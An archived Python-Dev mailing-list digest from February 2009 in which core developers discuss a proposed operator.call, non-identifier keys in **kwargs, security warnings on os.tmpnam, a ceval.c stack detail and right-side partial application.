On Wed, Feb 4, 2009 at 11:48 AM, "Martin v. L?wis" <martin at v.loewis.de> wrote:
>> If there is interest in this and no reason why it shouldn't be done, I
>> can write up an issue in the tracker and provide a patch.
>
> I think there is a tricky design choice to make wrt. argument passing.
> IIUC, you don't care much about arguments, so you could probably live
> with
>
> def call(o):
>    return o()
>
> Somebody proposed that you pass arguments once, and get an
> "arguments bound" object, i.e.
>
> def call(*args, **kwds):
>    def func(o):
>        return o(*args, **kwds)
>    return func
>
> Finally, it seems that Guido is advocating an API where arguments get
> passed along with the callable, i.e.
>
> def call(o, *args, **kwds):
>    return o(*args, **kwds)
>
> which would make call a synonym for apply (and would also provide for
> the first definition as a special case). However, with that API, it
> isn't so easy anymore to pass the same arguments to all callables
> (unless it is no arguments that you want to pass).

My version is in line with the other operators in the operator module.
The version that binds the arguments and returns a callable is already
available as functools.partial.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From hrvoje.niksic at avl.com  Thu Feb  5 11:11:40 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Thu, 05 Feb 2009 11:11:40 +0100
Subject: [Python-Dev] Missing operator.call
In-Reply-To: <30702564.996171.1233780505848.JavaMail.xicrypt@atgrzls001>
References: <498991D9.3060407@avl.com> <4989F0F3.7090901@v.loewis.de>
	<30702564.996171.1233780505848.JavaMail.xicrypt@atgrzls001>
Message-ID: <498ABB5C.5090706@avl.com>

Guido van Rossum wrote:
>> def call(o, *args, **kwds):
>>    return o(*args, **kwds)
>>
>> which would make call a synonym for apply (and would also provide for
>> the first definition as a special case). However, with that API, it
>> isn't so easy anymore to pass the same arguments to all callables
>> (unless it is no arguments that you want to pass).
> 
> My version is in line with the other operators in the operator module.
> The version that binds the arguments and returns a callable is already
> available as functools.partial.

And it works well in the case I encountered.  In fact, it works even 
better because it allows things like map(call, l1, l2) to apply each 
element of l2 to the corresponding function in l1.

If there's no opposition to this, I'll post a patch to the tracker.

From mhagger at alum.mit.edu  Thu Feb  5 09:03:01 2009
From: mhagger at alum.mit.edu (Michael Haggerty)
Date: Thu, 05 Feb 2009 09:03:01 +0100
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this intentional?
Message-ID: <498A9D35.7020305@alum.mit.edu>

I can't find documentation about whether there are constraints imposed
on the keys in the map passed to a function via **, as in f(**d).

According to

    http://docs.python.org/reference/expressions.html#id9

, d must be a mapping.

test_extcall.py implies that the keys of this map must be strings in the
following test:

    >>> f(**{1:2})
    Traceback (most recent call last):
      ...
    TypeError: f() keywords must be strings

But must the keys be valid python identifiers?

In particular, the following is allows by the Python 2.5.2 and the
Jython 2.2.1 interpreters:

    >>> f(**{'1':2})
    {'1': 2}

Is this behavior required somewhere by the Python language spec, or is
it an error that just doesn't happen to be checked, or is it
intentionally undefined whether this is allowed?

Michael

From ironfroggy at gmail.com  Thu Feb  5 16:31:56 2009
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Thu, 5 Feb 2009 10:31:56 -0500
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this 	intentional?
In-Reply-To: <498A9D35.7020305@alum.mit.edu>
References: <498A9D35.7020305@alum.mit.edu>
Message-ID: <76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com>

I would favor this not being constrained. I don't want every use of **
to cause a pattern match to verify each key. I would even be fine
without the check for being strings. Define what it should be, but let
the implementation be lax. It is no different from any other place
where you need to know its not a promise, just an artifact, and
shouldn't rely on what the implementation currently does or does not
force.

On Thu, Feb 5, 2009 at 3:03 AM, Michael Haggerty <mhagger at alum.mit.edu> wrote:
> I can't find documentation about whether there are constraints imposed
> on the keys in the map passed to a function via **, as in f(**d).
>
> According to
>
>    http://docs.python.org/reference/expressions.html#id9
>
> , d must be a mapping.
>
> test_extcall.py implies that the keys of this map must be strings in the
> following test:
>
>    >>> f(**{1:2})
>    Traceback (most recent call last):
>      ...
>    TypeError: f() keywords must be strings
>
> But must the keys be valid python identifiers?
>
> In particular, the following is allows by the Python 2.5.2 and the
> Jython 2.2.1 interpreters:
>
>    >>> f(**{'1':2})
>    {'1': 2}
>
> Is this behavior required somewhere by the Python language spec, or is
> it an error that just doesn't happen to be checked, or is it
> intentionally undefined whether this is allowed?
>
> Michael
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com
>



-- 
Read my blog! I depend on your acceptance of my opinion! I am interesting!
http://techblog.ironfroggy.com/
Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy

From eric at trueblade.com  Thu Feb  5 16:39:08 2009
From: eric at trueblade.com (Eric Smith)
Date: Thu, 05 Feb 2009 10:39:08 -0500
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
 is this 	intentional?
In-Reply-To: <76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com>
References: <498A9D35.7020305@alum.mit.edu>
	<76fd5acf0902050731g42c6efeft6f63bba1ce75186d@mail.gmail.com>
Message-ID: <498B081C.60401@trueblade.com>

Calvin Spealman wrote:
> I would favor this not being constrained. I don't want every use of **
> to cause a pattern match to verify each key. I would even be fine
> without the check for being strings. Define what it should be, but let
> the implementation be lax. It is no different from any other place
> where you need to know its not a promise, just an artifact, and
> shouldn't rely on what the implementation currently does or does not
> force.

I agree. There was a similar issue in http://bugs.python.org/issue2598, 
and we decided not to do anything about it.

Eric.

> 
> On Thu, Feb 5, 2009 at 3:03 AM, Michael Haggerty <mhagger at alum.mit.edu> wrote:
>> I can't find documentation about whether there are constraints imposed
>> on the keys in the map passed to a function via **, as in f(**d).
>>
>> According to
>>
>>    http://docs.python.org/reference/expressions.html#id9
>>
>> , d must be a mapping.
>>
>> test_extcall.py implies that the keys of this map must be strings in the
>> following test:
>>
>>    >>> f(**{1:2})
>>    Traceback (most recent call last):
>>      ...
>>    TypeError: f() keywords must be strings
>>
>> But must the keys be valid python identifiers?
>>
>> In particular, the following is allows by the Python 2.5.2 and the
>> Jython 2.2.1 interpreters:
>>
>>    >>> f(**{'1':2})
>>    {'1': 2}
>>
>> Is this behavior required somewhere by the Python language spec, or is
>> it an error that just doesn't happen to be checked, or is it
>> intentionally undefined whether this is allowed?
>>
>> Michael
>> _______________________________________________
>> Python-Dev mailing list
>> Python-Dev at python.org
>> http://mail.python.org/mailman/listinfo/python-dev
>> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com
>>
> 
> 
> 


From python at rcn.com  Thu Feb  5 17:35:30 2009
From: python at rcn.com (Raymond Hettinger)
Date: Thu, 5 Feb 2009 08:35:30 -0800
Subject: [Python-Dev] Warnings
Message-ID: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>

>> import os
>>> os.tmpnam()
RuntimeWarning: tmpnam is a potential security risk to your program


Are these runtime warnings necessary?  Suppressing these warnings is a pita for one-off uses of os.tmpnam() or os.tempnam().

I would hate for this sort of thing to propagate throughout the standard library.  Some folks think eval() should never be used and 
the same for input().  Some folks think md5 should be removed.  Some folks think pickles are the ultimate security threat.  IMO, it 
is enough to note potential vulnerabilities in the docs.  Even then, I'm not too keen on the docs being filled with lots of 
red-outlined pink-boxed warning signs, effectively communicating that Python itself is dangerous and unreliable.


Raymond


---------------------------------
Happy FUN BALL! -only $14.95-

Warning: Pregnant women, the elderly and children under 10 should avoid prolonged exposure to Happy Fun Ball.
Caution: Happy Fun Ball may suddenly accelerate to dangerous speeds. Happy Fun Ball Contains a liquid core, which, if exposed due to 
rupture, should not be touched, inhaled, or looked at. Do not use Happy Fun Ball on concrete.

Discontinue use of Happy Fun Ball if any of the following occurs:
Itching, Vertigo, Dizziness Tingling in extremities, Loss of balance or coordination
Slurred speech, Temporary blindness, Profuse sweating, Heart palpitations

If Happy Fun Ball begins to smoke, get away immediately. Seek shelter and cover head.
Happy Fun Ball may stick to certain types of skin.
When not in use, Happy Fun Ball should be returned to its special container and kept under refrigeration...
Failure to do so relieves the makers of Happy Fun Ball, Wacky Products Incorporated, and its parent company Global Chemical 
Unlimited, of any and all liability.
Ingredients of Happy Fun Ball include an unknown glowing substance which fell to Earth, presumably from outer space.
Happy Fun Ball has been shipped to our troops in Saudi Arabia and is also being dropped by our warplanes on Iraq.
Do not taunt Happy Fun Ball.
Happy Fun Ball comes with a lifetime guarantee.
Happy Fun Ball
ACCEPT NO SUBSTITUTES! 


From exarkun at divmod.com  Thu Feb  5 17:47:21 2009
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Thu, 5 Feb 2009 11:47:21 -0500
Subject: [Python-Dev] Warnings
In-Reply-To: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
Message-ID: <20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>

On Thu, 5 Feb 2009 08:35:30 -0800, Raymond Hettinger <python at rcn.com> wrote:
>>>import os
>>>>os.tmpnam()
>RuntimeWarning: tmpnam is a potential security risk to your program
>

This warning is a reflection of the fact that (at least) the glibc authors
think you shouldn't be using tmpnam(2).  If you compile a C program that
uses it, you'll see a warning about it.  Since you can write a Python
program that uses tmpnam(2) without ever compiling such a C program,
you get a RuntimeWarning instead.  It's not quite analogous, since
you don't get the warning from the C program every time you run it,
but it's about as close as you can do in Python without resorting to
crazy tricks.

>
>Are these runtime warnings necessary?  Suppressing these warnings is a pita 
>for one-off uses of os.tmpnam() or os.tempnam().

Why are you using them?  Why not just use one of the many, many, many
other APIs for generating temporary files that Python exposes?  One of
the ones that doesn't emit any warnings?

>I would hate for this sort of thing to propagate throughout the standard 
>library.  Some folks think eval() should never be used and the same for 
>input().  Some folks think md5 should be removed.  Some folks think pickles 
>are the ultimate security threat.  IMO, it is enough to note potential 
>vulnerabilities in the docs.  Even then, I'm not too keen on the docs being 
>filled with lots of red-outlined pink-boxed warning signs, effectively 
>communicating that Python itself is dangerous and unreliable.
>

I agree.  The best thing to do would be to deprecate the Python wrappers
around insecure C functions and then remove them after a couple releases.
It's not as though these functions fill a critical niche - the tempfile
module and even os.tmpfile are more than enough.  Why does Python offer
this attractive nuisance?

Jean-Paul

From solipsis at pitrou.net  Thu Feb  5 17:51:28 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 5 Feb 2009 16:51:28 +0000 (UTC)
Subject: [Python-Dev] Warnings
References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
	<20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>
Message-ID: <loom.20090205T164852-178@post.gmane.org>


Hello,

> I agree.  The best thing to do would be to deprecate the Python wrappers
> around insecure C functions and then remove them after a couple releases.

They have been removed in 3.0. 

> Why does Python offer
> this attractive nuisance?

Well, there was a time when security concerns were a lot less wide-spread.

Regards

Antoine.



From pachola at mageo.cz  Thu Feb  5 18:08:09 2009
From: pachola at mageo.cz (Jaroslav Pachola)
Date: Thu, 5 Feb 2009 18:08:09 +0100
Subject: [Python-Dev] Warnings
In-Reply-To: <loom.20090205T164852-178@post.gmane.org>
References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
	<20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>
	<loom.20090205T164852-178@post.gmane.org>
Message-ID: <200902051808.09348.pachola@mageo.cz>

Hello,

Dne Thursday 05 February 2009 Antoine Pitrou napsal(a):
> Hello,
>
> > I agree.  The best thing to do would be to deprecate the Python wrappers
> > around insecure C functions and then remove them after a couple releases.
>
> They have been removed in 3.0.

What's the replacement in the library then, in case that I just want to create 
a unique file name and I don't care about the possible issues?

>
> > Why does Python offer
> > this attractive nuisance?
>
> Well, there was a time when security concerns were a lot less wide-spread.
>

Is using of virtual memory secure? Aren't we all adults suddenly? ;-)

I know, the damage has already been done (as with cmp parameter of sort(ed) 
etc.) and I should have notice them sooner. Or it is only me, maybe, who 
thinks that such weight losing is not healthy for the language and library 
users.

Regards,

JP

From solipsis at pitrou.net  Thu Feb  5 18:49:57 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 5 Feb 2009 17:49:57 +0000 (UTC)
Subject: [Python-Dev] Warnings
References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
	<20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>
	<loom.20090205T164852-178@post.gmane.org>
	<200902051808.09348.pachola@mageo.cz>
Message-ID: <loom.20090205T174519-522@post.gmane.org>

Jaroslav Pachola <pachola <at> mageo.cz> writes:
> 
> What's the replacement in the library then, in case that I just want to create 
> a unique file name and I don't care about the possible issues?

Three alternatives I'm thinking of:
- tempfile.mktemp(): the doc says it has been deprecated since 2.3, but it's
still there;
- NamedTemporaryFile(delete=False): that's the officially suggested replacement
in the doc;
- tempfile.mkdtemp() and then create a regular file in the created directory.

Regards

Antoine.



From cesare.dimauro at a-tono.com  Thu Feb  5 19:19:01 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Thu, 5 Feb 2009 19:19:01 +0100 (CET)
Subject: [Python-Dev] Why a STACKADJ(-1) in UNARY_NOT on ceval.c?
In-Reply-To: <loom.20090205T174519-522@post.gmane.org>
References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
	<20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>
	<loom.20090205T164852-178@post.gmane.org>
	<200902051808.09348.pachola@mageo.cz>
	<loom.20090205T174519-522@post.gmane.org>
Message-ID: <58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com>

Looking at the UNARY_NOT case in ceval.c:

		case UNARY_NOT:
			v = TOP();
			err = PyObject_IsTrue(v);
			Py_DECREF(v);
			if (err == 0) {
				Py_INCREF(Py_True);
				SET_TOP(Py_True);
				continue;
			}
			else if (err > 0) {
				Py_INCREF(Py_False);
				SET_TOP(Py_False);
				err = 0;
				continue;
			}
			STACKADJ(-1);
			break;


I don't understand why there's a STACKADJ(-1) at its end. Looking at the
code, we know that if the CPU arrives to the STACKADJ, it's because of an
error condition in the PyObject_IsTrue that sets err to a < 0 value, so
exiting the big switch statement, an error will be raised.

So the question is, why there's the need to skip the top stack PyObject?
It's a different behaviour comparing it to the all other unary operators.
For example:

		case UNARY_NEGATIVE:
			v = TOP();
			x = PyNumber_Negative(v);
			Py_DECREF(v);
			SET_TOP(x);
			if (x != NULL) continue;
			break;

There's no STACKADJ instruction on errors.

Can someone explain it?

Thanks a lot

Cesare

From guido at python.org  Thu Feb  5 19:27:26 2009
From: guido at python.org (Guido van Rossum)
Date: Thu, 5 Feb 2009 10:27:26 -0800
Subject: [Python-Dev] Why a STACKADJ(-1) in UNARY_NOT on ceval.c?
In-Reply-To: <58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com>
References: <29687A8A0F404FB0A667FE44C8CCB8F1@RaymondLaptop1>
	<20090205164721.12853.999629853.divmod.quotient.3909@henry.divmod.com>
	<loom.20090205T164852-178@post.gmane.org>
	<200902051808.09348.pachola@mageo.cz>
	<loom.20090205T174519-522@post.gmane.org>
	<58267.151.53.147.90.1233857941.squirrel@webmail4.pair.com>
Message-ID: <ca471dc20902051027x69f45228y82985e84eebb9ad5@mail.gmail.com>

It's to make up for the lack of SET_TOP in that path.

On Thu, Feb 5, 2009 at 10:19 AM, Cesare Di Mauro
<cesare.dimauro at a-tono.com> wrote:
> Looking at the UNARY_NOT case in ceval.c:
>
>                case UNARY_NOT:
>                        v = TOP();
>                        err = PyObject_IsTrue(v);
>                        Py_DECREF(v);
>                        if (err == 0) {
>                                Py_INCREF(Py_True);
>                                SET_TOP(Py_True);
>                                continue;
>                        }
>                        else if (err > 0) {
>                                Py_INCREF(Py_False);
>                                SET_TOP(Py_False);
>                                err = 0;
>                                continue;
>                        }
>                        STACKADJ(-1);
>                        break;
>
>
> I don't understand why there's a STACKADJ(-1) at its end. Looking at the
> code, we know that if the CPU arrives to the STACKADJ, it's because of an
> error condition in the PyObject_IsTrue that sets err to a < 0 value, so
> exiting the big switch statement, an error will be raised.
>
> So the question is, why there's the need to skip the top stack PyObject?
> It's a different behaviour comparing it to the all other unary operators.
> For example:
>
>                case UNARY_NEGATIVE:
>                        v = TOP();
>                        x = PyNumber_Negative(v);
>                        Py_DECREF(v);
>                        SET_TOP(x);
>                        if (x != NULL) continue;
>                        break;
>
> There's no STACKADJ instruction on errors.
>
> Can someone explain it?
>
> Thanks a lot
>
> Cesare
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From ncoghlan at gmail.com  Thu Feb  5 21:19:12 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Fri, 06 Feb 2009 06:19:12 +1000
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
 is this intentional?
In-Reply-To: <498A9D35.7020305@alum.mit.edu>
References: <498A9D35.7020305@alum.mit.edu>
Message-ID: <498B49C0.5030707@gmail.com>

Michael Haggerty wrote:
> Is this behavior required somewhere by the Python language spec, or is
> it an error that just doesn't happen to be checked, or is it
> intentionally undefined whether this is allowed?

Generally speaking, Python namespace dictionaries (be it globals(),
locals(), the __dict__ attribute of an instance or a set of keyword
arguments) aren't required to enforce the use of legal identifiers (in
many cases, the CPython variants don't even enforce the use of strings).

Enforcing legal identifiers is usually the compiler's job and if you're
using dict syntax to access the contents of a namespace, the compiler
doesn't care.

That laxness is a CPython implementation detail though - other
implementations are quite free to be stricter with their namespaces
(e.g. I believe Jython namespaces use explicitly string-keyed
dictionaries, so Jython would reject the example below).

Cheers,
Nick.

P.S. An example of messing about with a class's dictionary in CPython:

Python 2.5.2 (r252:60911, Jul 31 2008, 17:28:52)
[GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class C: pass
...
>>> C.__dict__[5] = "Not an identifier!"
>>> C.5 # obviously not allowed
  File "<stdin>", line 1
    C.5 # obviously not allowed
      ^
SyntaxError: invalid syntax
>>> C.__dict__['5'] = "Still not an identifier!"
>>> C.5 # still not allowed
  File "<stdin>", line 1
    C.5 # still not allowed
      ^
SyntaxError: invalid syntax
>>> C.__dict__[5]
'Not an identifier!'
>>> getattr(C, 5)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: getattr(): attribute name must be string
>>> getattr(C, '5')
'Still not an identifier!'

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From guido at python.org  Thu Feb  5 21:32:57 2009
From: guido at python.org (Guido van Rossum)
Date: Thu, 5 Feb 2009 12:32:57 -0800
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this 	intentional?
In-Reply-To: <498B49C0.5030707@gmail.com>
References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com>
Message-ID: <ca471dc20902051232qb60d1efh66a45b422a367d1c@mail.gmail.com>

I'd prefer a compromise -- the keys should be strings, but should not
be required to be valid identifiers. All Python implementations should
support this. Rationale: a type check is cheap, and using strings
exclusively makes the use of a faster dict implementation possible. A
check for a conforming identifier is relatively expensive and serves
no purpose except being pedantic.

--Guido

On Thu, Feb 5, 2009 at 12:19 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> Michael Haggerty wrote:
>> Is this behavior required somewhere by the Python language spec, or is
>> it an error that just doesn't happen to be checked, or is it
>> intentionally undefined whether this is allowed?
>
> Generally speaking, Python namespace dictionaries (be it globals(),
> locals(), the __dict__ attribute of an instance or a set of keyword
> arguments) aren't required to enforce the use of legal identifiers (in
> many cases, the CPython variants don't even enforce the use of strings).
>
> Enforcing legal identifiers is usually the compiler's job and if you're
> using dict syntax to access the contents of a namespace, the compiler
> doesn't care.
>
> That laxness is a CPython implementation detail though - other
> implementations are quite free to be stricter with their namespaces
> (e.g. I believe Jython namespaces use explicitly string-keyed
> dictionaries, so Jython would reject the example below).
>
> Cheers,
> Nick.
>
> P.S. An example of messing about with a class's dictionary in CPython:
>
> Python 2.5.2 (r252:60911, Jul 31 2008, 17:28:52)
> [GCC 4.2.3 (Ubuntu 4.2.3-2ubuntu7)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> class C: pass
> ...
>>>> C.__dict__[5] = "Not an identifier!"
>>>> C.5 # obviously not allowed
>  File "<stdin>", line 1
>    C.5 # obviously not allowed
>      ^
> SyntaxError: invalid syntax
>>>> C.__dict__['5'] = "Still not an identifier!"
>>>> C.5 # still not allowed
>  File "<stdin>", line 1
>    C.5 # still not allowed
>      ^
> SyntaxError: invalid syntax
>>>> C.__dict__[5]
> 'Not an identifier!'
>>>> getattr(C, 5)
> Traceback (most recent call last):
>  File "<stdin>", line 1, in <module>
> TypeError: getattr(): attribute name must be string
>>>> getattr(C, '5')
> 'Still not an identifier!'
>
> Cheers,
> Nick.
>
> --
> Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
> ---------------------------------------------------------------
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From lists at cheimes.de  Thu Feb  5 21:36:04 2009
From: lists at cheimes.de (Christian Heimes)
Date: Thu, 05 Feb 2009 21:36:04 +0100
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this intentional?
In-Reply-To: <498B49C0.5030707@gmail.com>
References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com>
Message-ID: <gmfijk$bto$1@ger.gmane.org>

Nick Coghlan wrote:
> Generally speaking, Python namespace dictionaries (be it globals(),
> locals(), the __dict__ attribute of an instance or a set of keyword
> arguments) aren't required to enforce the use of legal identifiers (in
> many cases, the CPython variants don't even enforce the use of strings).

Side note:

CPython's dict code has a special case for str objects (PyStringObject
in 2.x, PyUnicodeObject in 3.x). The internal lookup method is optimized
for str objects. Python uses dict objects for all its namespaces like
classes, modules and most objects, so dict with str as keys are pretty
common.

The first time a non str object is inserted or looked up, the dict
swiches to a more general lookup methods. lookdict() still fast but not
as fast as lookdict_string(). It doesn't make a huge difference but you
should still keep the fact in your head.

We could abuse the state of the ma_lookup function pointer to check the
dict for str only keys. But it would break for unicode keys thus making
from __future__ import unicode_literals useless.

Christian


From lists at cheimes.de  Thu Feb  5 22:04:18 2009
From: lists at cheimes.de (Christian Heimes)
Date: Thu, 05 Feb 2009 22:04:18 +0100
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this  intentional?
In-Reply-To: <ca471dc20902051232qb60d1efh66a45b422a367d1c@mail.gmail.com>
References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com>
	<ca471dc20902051232qb60d1efh66a45b422a367d1c@mail.gmail.com>
Message-ID: <498B5452.7090601@cheimes.de>

Guido van Rossum schrieb:
> I'd prefer a compromise -- the keys should be strings, but should not
> be required to be valid identifiers. All Python implementations should
> support this. Rationale: a type check is cheap, and using strings
> exclusively makes the use of a faster dict implementation possible. A
> check for a conforming identifier is relatively expensive and serves
> no purpose except being pedantic.

As pointed out in my other posting, an additional type check isn't
required in most cases. A C function that checks ma_lookup does the same
trick.

int
PyDict_StringKeysOnly(PyObject *dict) {
    if (((PyDictObject*)dict)->ma_lookup == lookdict_string)
        return 1;
    else {
        /* check all keys for PyStringObject */
    }
}

The performance penalty is slime to nothing for the common case.

How are we going to handle str subclasses and unicode? Should we allow
all subclasses of basestring? Or just str and unicode? Or str only?

Christian

From martin at v.loewis.de  Thu Feb  5 22:10:56 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Feb 2009 22:10:56 +0100
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
 is this  intentional?
In-Reply-To: <498B5452.7090601@cheimes.de>
References: <498A9D35.7020305@alum.mit.edu>
	<498B49C0.5030707@gmail.com>	<ca471dc20902051232qb60d1efh66a45b422a367d1c@mail.gmail.com>
	<498B5452.7090601@cheimes.de>
Message-ID: <498B55E0.10607@v.loewis.de>

> How are we going to handle str subclasses and unicode?

"Are we going to"? You mean, the current code is not good enough? Why not?

> Should we allow
> all subclasses of basestring? Or just str and unicode? Or str only?

In 2.x, str only, in 3.x, unicode only.

Regards,
Martin

From tjreedy at udel.edu  Thu Feb  5 22:13:36 2009
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 05 Feb 2009 16:13:36 -0500
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this intentional?
In-Reply-To: <gmfijk$bto$1@ger.gmane.org>
References: <498A9D35.7020305@alum.mit.edu> <498B49C0.5030707@gmail.com>
	<gmfijk$bto$1@ger.gmane.org>
Message-ID: <gmfkpt$ks7$1@ger.gmane.org>

Christian Heimes wrote:
> Nick Coghlan wrote:
>> Generally speaking, Python namespace dictionaries (be it globals(),
>> locals(), the __dict__ attribute of an instance or a set of keyword
>> arguments) aren't required to enforce the use of legal identifiers (in
>> many cases, the CPython variants don't even enforce the use of strings).
> 
> Side note:
> 
> CPython's dict code has a special case for str objects (PyStringObject
> in 2.x, PyUnicodeObject in 3.x). The internal lookup method is optimized
> for str objects. Python uses dict objects for all its namespaces like
> classes, modules and most objects, so dict with str as keys are pretty
> common.
> 
> The first time a non str object is inserted or looked up, the dict
> swiches to a more general lookup methods.

This makes adding a string-only dict pretty trivial, if desired.

> lookdict() still fast but not
> as fast as lookdict_string(). It doesn't make a huge difference but you
> should still keep the fact in your head.
> 
> We could abuse the state of the ma_lookup function pointer to check the
> dict for str only keys. But it would break for unicode keys thus making
> from __future__ import unicode_literals useless.

Assuming that 3.x dicts are optimized for the 3.x string type, this is 
not a problem for 3.x ;-).

tjr


From lists at cheimes.de  Thu Feb  5 22:55:24 2009
From: lists at cheimes.de (Christian Heimes)
Date: Thu, 05 Feb 2009 22:55:24 +0100
Subject: [Python-Dev] The interpreter accepts f(**{'5':'foo'});
	is this intentional?
In-Reply-To: <gmfkpt$ks7$1@ger.gmane.org>
References: <498A9D35.7020305@alum.mit.edu>
	<498B49C0.5030707@gmail.com>	<gmfijk$bto$1@ger.gmane.org>
	<gmfkpt$ks7$1@ger.gmane.org>
Message-ID: <498B604C.4080400@cheimes.de>

Terry Reedy schrieb:
>> The first time a non str object is inserted or looked up, the dict
>> swiches to a more general lookup methods.
> 
> This makes adding a string-only dict pretty trivial, if desired.

It's not as trivial as it seems. The switch over to the general lookup
method happens when a non str object is *looked up*.

d = {'a': None} # uses lookdict_string()
d.get(1, None) # d now uses lookdict()

"d->ma_lookup == lookdict_string" is a sufficient condition, not a
condicio sine qua non.

> Assuming that 3.x dicts are optimized for the 3.x string type, this is
> not a problem for 3.x ;-).

Well, it's always optimized for the str type - which happens to be
PyUnicodeObject in 3.x.

Christian

From ben at redfrontdoor.org  Thu Feb  5 23:01:07 2009
From: ben at redfrontdoor.org (Ben North)
Date: Thu, 5 Feb 2009 22:01:07 +0000
Subject: [Python-Dev] Partial function application 'from the right'
Message-ID: <5169ff10902051401l49ea89c3s98c8a123f703ef0@mail.gmail.com>

Hi,

My reading of the most recent set of emails on this topic is that the
balance of opinion is against adding a 'partial_right' or 'partial.skip'
feature.  I still think such a feature would be of real use, although I
can see the arguments against adding it.  Is the conclusion 'no thanks',
then?

(I still have not had time to create an issue in the tracker and attach
the patch, but will do so for completeness.)

Thanks for the discussions,

Ben.

From steve at pearwood.info  Thu Feb  5 23:54:54 2009
From: steve at pearwood.info (Steven D'Aprano)
Date: Fri, 06 Feb 2009 09:54:54 +1100
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <E83B20312E264DAE9B95120EF9E6D79E@RaymondLaptop1>
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com><loom.20090203T195152-727@post.gmane.org>	<43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com>
	<E83B20312E264DAE9B95120EF9E6D79E@RaymondLaptop1>
Message-ID: <498B6E3E.8020309@pearwood.info>

Raymond Hettinger wrote:

>>> The arguments for and against the patch could be brought against 
>>> partial()
>>> itself, so I don't understand the -1's at all.
>>
>> Quite so, but that doesn't justify adding more capabilities to partial().
> 
> I concur with Collin.  Lever arguments are a road to bloat.

One person's "bloat" is another person's rich and complete toolbox.

 > "In for a penny, in for a pound" is not a language design principle.

Neither are "slippery slope" arguments.

> One of the real problems with partial() and its variants is that they 
> provide almost no advantage over an equivalent lambda.

How about speed? I don't have a recent version of Python here to test, 
but my recollection is that partial is significantly faster than lambda. 
And even if it currently isn't, there could be (is?) more opportunity to 
optimize partial.

I guess that the voting on this is going to be fall along functional 
lines: those who like functional languages will vote +1 on partial and 
co, and those who don't will vote -1.

While I don't dislike partial(), I'd rather see one good use-case for 
partial_right() to be removed: built-ins that don't accept keywords. 
 From Ben North's post starting this thread:

"I find 'functools.partial' useful, but occasionally I'm unable to use 
it because it lacks a 'from the right' version.  E.g., to create a 
function which splits a string on commas, you can't say

    # Won't work when called:
    split_comma = partial(str.split, sep = ',')

and to create a 'log to base 10' function, you can't say

    # Won't work when called:
    log_10 = partial(math.log, base = 10.0)

because str.split and math.log don't take keyword arguments."

I'd argue that it is better to add support for keyword arguments than to 
add partial_right.


-- 
Steven


From Scott.Daniels at Acm.Org  Fri Feb  6 01:16:01 2009
From: Scott.Daniels at Acm.Org (Scott David Daniels)
